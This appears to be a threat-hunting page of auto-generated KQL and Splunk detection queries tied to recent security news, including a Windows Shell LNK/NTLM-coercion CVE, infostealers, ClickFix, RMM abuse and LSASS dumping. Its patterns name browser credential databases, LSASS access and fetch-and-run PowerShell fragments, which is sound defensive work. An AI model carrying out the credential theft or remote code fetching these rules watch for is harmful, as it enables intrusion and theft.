Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Microsoft Confirms Active Exploitation of Windows Shell CVE-2026-32202
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("payload.cpl"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("payload.cpl"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Microsoft Confirms Active Exploitation of Windows Shell CVE-2026-32202 ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("payload.cpl"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("payload.cpl"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Explorer.exe outbound SMB to internet IP (CVE-2026-32202 zero-click LNK NTLM coercion)ExploitationHigh
Hunts the core behaviour of CVE-2026-32202 exploitation: when Windows Explorer renders a folder containing a malicious .LNK, the shell auto-parses the icon path and initiates an outbound SMB/NTLM handshake to an attacker-controlled UNC. Explorer.exe should never make SMB connections to public / non-RFC1918 destinations.
Rationale: Both SecurityWeek and the Microsoft advisory describe CVE-2026-32202 as a zero-click flaw where explorer.exe auto-fetches an icon over a UNC path, leaking Net-NTLMv2. Outbound 445/139 from explorer.exe to a public IP is a near-deterministic IOC of this exploitation. Cross-checked with SecurityWeek 'Incomplete Windows Patch Opens Door to Zero-Click Attacks' (APT28/Forest Blizzard attribution) and Fortiguard IPS signature MS.Windows.CVE-2026-32202.Shell.Spoofing.
Cross-checked against:
• https://www.securityweek.com/incomplete-windows-patch-opens-door-to-zero-click-attacks/
• https://www.fortiguard.com/encyclopedia/ips/60620
• https://www.tenable.com/cve/CVE-2026-32202
ATT&CKT1187T1557.001T1204.002
Data sourcesNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "explorer.exe"
| where RemotePort in (445, 139)
| where isnotempty(RemoteIP)
| where not(ipv4_is_private(RemoteIP)) and RemoteIP !startswith "fe80" and RemoteIP !startswith "fc" and RemoteIP != "::1"
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_ip) as dest_ip values(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic where (All_Traffic.app="explorer.exe" OR All_Traffic.process_name="explorer.exe") (All_Traffic.dest_port=445 OR All_Traffic.dest_port=139) NOT (All_Traffic.dest_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","169.254.0.0/16","127.0.0.0/8")) NOT (All_Traffic.dest_ip="fe80::/10" OR All_Traffic.dest_ip="fc00::/7") by All_Traffic.src All_Traffic.user host | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] LNK file written to user path followed by explorer SMB to external host (CVE-2026-32202 chain)DeliveryHigh
Temporal correlation between a freshly dropped .LNK in a user-writable directory (Downloads, Desktop, Temp, mounted share) and an outbound NTLM/SMB connection from explorer.exe within 5 minutes. This captures the full delivery-to-coercion sequence APT28 used against Ukrainian/EU targets in Dec 2025.
Rationale: SecurityWeek confirms the attack chain is (1) victim receives/saves a .LNK, (2) explorer.exe rendering the parent folder triggers the icon fetch over SMB. Pairing the .LNK file-write with the subsequent explorer SMB-to-internet greatly reduces FPs vs. the network-only rule and gives investigators the originating shortcut path/name. APT28 (Forest Blizzard / Fancy Bear / GruesomeLarch / Sofacy) attribution per SecurityWeek.
Cross-checked against:
• https://www.securityweek.com/incomplete-windows-patch-opens-door-to-zero-click-attacks/
• https://www.tenable.com/cve/CVE-2026-32202
ATT&CKT1566.001T1187T1204.002
Data sourcesEndpoint.FilesystemNetwork_Traffic.All_Traffic
let lnk_writes = DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".lnk"
| where FolderPath has_any ("\\Downloads\\", "\\Desktop\\", "\\AppData\\Local\\Temp\\", "\\Users\\Public\\")
| project lnkTime=Timestamp, DeviceId, DeviceName, lnkPath=FolderPath, lnkName=FileName, DropProc=InitiatingProcessFileName, DropParent=InitiatingProcessParentFileName;
let smb_out = DeviceNetworkEvents
| where InitiatingProcessFileName =~ "explorer.exe"
| where RemotePort in (445, 139)
| where not(ipv4_is_private(RemoteIP)) and RemoteIP !startswith "fe80"
| project netTime=Timestamp, DeviceId, RemoteIP, RemotePort;
lnk_writes
| join kind=inner smb_out on DeviceId
| where netTime between (lnkTime .. (lnkTime + 5m))
| project lnkTime, netTime, DeviceName, lnkPath, lnkName, DropProc, DropParent, RemoteIP, RemotePort
| tstats summariesonly=true count min(_time) as lnk_time from datamodel=Endpoint.Filesystem where Filesystem.action=created Filesystem.file_name="*.lnk" (Filesystem.file_path="*\\Downloads\\*" OR Filesystem.file_path="*\\Desktop\\*" OR Filesystem.file_path="*\\Temp\\*" OR Filesystem.file_path="*\\AppData\\Local\\Temp\\*") by Filesystem.dest Filesystem.file_path Filesystem.file_name Filesystem.user | `drop_dm_object_name(Filesystem)` | join type=inner dest [| tstats summariesonly=true count min(_time) as smb_time values(All_Traffic.dest_ip) as dest_ip from datamodel=Network_Traffic where (All_Traffic.app="explorer.exe" OR All_Traffic.process_name="explorer.exe") All_Traffic.dest_port=445 NOT (All_Traffic.dest_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16")) by All_Traffic.src | rename All_Traffic.src as dest | `drop_dm_object_name(All_Traffic)`] | where smb_time>=lnk_time AND smb_time<=lnk_time+300
Hunts the secondary exploitation primitive described in SecurityWeek's coverage: Windows Shell loading Control Panel (.cpl) or DLL objects from an attacker-controlled UNC path without proper Mark-of-the-Web / network-zone validation. Targets rundll32.exe, control.exe, and explorer.exe loading code from \\\\<remote>\\... shares.
Rationale: SecurityWeek's analysis of the CVE-2026-32202 / CVE-2026-21510 chain explicitly calls out 'Control Panel (CPL) objects loaded without proper network zone validation' and 'UNC paths used to load remote DLLs' via shell namespace parsing. Loading executable shell content from a remote share is rare in legitimate enterprise use and is article-specific to this APT28 chain.
Cross-checked against:
• https://www.securityweek.com/incomplete-windows-patch-opens-door-to-zero-click-attacks/
• https://www.fortiguard.com/encyclopedia/ips/60620
ATT&CKT1218.011T1218.002T1574.002
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName in~ ("rundll32.exe", "control.exe", "explorer.exe")
| where ProcessCommandLine matches regex @"\\\\[^\\?\.][^\\]+\\.+\.(cpl|dll|lnk)"
| where not(ProcessCommandLine has_any ("\\\\?\\", "\\\\.\\", "\\\\localhost\\"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| union (
DeviceImageLoadEvents
| where InitiatingProcessFileName in~ ("rundll32.exe","control.exe","explorer.exe")
| where FolderPath startswith "\\\\" and FolderPath !startswith "\\\\?\\" and FolderPath !startswith "\\\\.\\"
| where FileName endswith ".dll" or FileName endswith ".cpl"
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, FileName, ProcessCommandLine=InitiatingProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName=InitiatingProcessParentFileName
)
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name="rundll32.exe" OR Processes.process_name="control.exe" OR Processes.process_name="explorer.exe") (Processes.process="*\\\\*.cpl*" OR Processes.process="*\\\\*.dll*" OR Processes.process="*\\\\*.lnk*") NOT Processes.process IN ("*\\\\?\\*","*\\\\.\\*","*\\\\localhost\\*") by Processes.dest Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
2026-04-274 use cases4 techniques6 kill-chain phases detected
Checkmarx has disclosed that its ongoing investigation tied to the supply chain security incident has revealed that a cybercriminal group published data related to the company on the dark web. "Based on current evidence, we believe this data originated from Checkmarx's GitHub repository, and that access to that repository was facilitated through the initial supply chain attack of March 23, 2026,
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2714 use cases8 techniques6 kill-chain phases detected
Everything is dumb again. This week feels broken in a very familiar way. Old tricks are back. New tools are doing shady crap. Supply chains got hit. Fake help desks worked. Weird research showed how easy some attacks still are. Most of it feels like stuff we should have fixed years ago. Bad extensions. Stolen creds. Remote tools are getting abused. Malware hides in places people trust. Same
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-20333", "CVE-2025-20362", "CVE-2026-40372", "CVE-2026-33626", "CVE-2026-5760", "CVE-2026-5752", "CVE-2026-3517", "CVE-2026-3518", "CVE-2026-3519", "CVE-2026-4048", "CVE-2026-21876", "CVE-2026-32173", "CVE-2026-25262", "CVE-2025-24371", "CVE-2026-5754", "CVE-2026-40872", "CVE-2026-27654", "CVE-2026-5756", "CVE-2026-5757", "CVE-2026-41651", "CVE-2026-33824", "CVE-2026-21571", "CVE-2026-33871", "CVE-2026-40050", "CVE-2026-32604", "CVE-2026-32613", "CVE-2026-33694", "CVE-2026-1731", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
